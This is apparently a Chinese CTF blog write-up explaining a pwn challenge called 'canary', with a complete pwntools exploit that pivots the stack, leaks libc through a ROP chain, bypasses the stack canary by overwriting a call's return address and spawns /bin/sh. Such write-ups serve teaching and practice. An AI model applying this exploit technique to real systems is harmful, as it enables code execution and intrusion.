有意思的canary

技术16-06-2023

勘误

感谢大专老哥,让我一直以来错误的思想完全纠错了过来。 不得不说,现在pwn的题目脑洞真的大。 连续三次遇到非常规的栈迁移和非常规的格式化字符串。 这里给出某战队师傅的锐评 4DA953EC8C163A2B495F1FF649392822.jpg

水完这篇就不写了,上线代课的时候,忽然想到自己这里理解错了,虽然也写出来了,之前公众号一篇文章里面的一道题。
声东击西|三道有意思的pwn题
速度速度,搞完四级。
哦对,以后打比赛,写题目,最快的方法就是调试,调到栈上的返回地址啊什么的,为我们想要的,这样就能快速避免出错了!!!也不用去思考究竟便宜多少。一步步rop嘛。分解动作去调试完成。

题目


EXP

废话不多说,先看exp


from pwn import *
context.log_level = 'debug'

#io = gdb.debug('./canary')
p = process('./canary')
elf = ELF('./canary')
libc = elf.libc

r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))

DEBUG = 0

def debug(bp = None):
    if DEBUG == 1:
        if bp != None:
            gdb.attach(p, bp)
        else:
            gdb.attach(p)


main = 0x401296
main2 = 0x40133f
gift = 0x401258
pop_rdi = 0x4013e3
ret = 0x40101a
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

sla(b"functions?\n", b'0')
s(p64(0x404900) + p64(main))
sla(b"functions?\n", b'0')
s(p64(0x404948) + p64(gift))

payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift) + b'a' * 0x28  #+ p64(0x404900)
pause()
s(payload)

libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
pr('libc_base', libc.address)
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
payload = b'a' * 0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
pause()
s(payload)


shell()

重点:理解ret和call和参数寻址和

image.png

本题的详细分析

第一次迁移rbp

sla(b"functions?\n", b'0')
s(p64(0x404900) + p64(main))

image.png
Snipaste_2023-06-16_10-22-42.png

第二次迁移rsp,于写目标栈

sla(b"functions?\n", b'0')
s(p64(0x404948) + p64(gift))

image.png
image.png

目标栈写rop链同时,覆盖call返回绕过canary

payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift) + b'a' * 0x28 + p64(0x404900)

image.png
image.png

成功指向并泄露libc

libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
pr('libc_base', libc.address)
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))

image.png

再次覆盖gift里面的call,从而再次绕过canary直接getshell

payload = b'a' * 0x18 + p64(pop_rdi) + p64(binsh) + p64(system)
pause()
s(payload)
shell()

image.png
image.png

图解流程

Author's photo

HuanXin-Chen

A tech enthusiast and avid sharer, this dream chaser firmly believes that great things will happen!

See other articles: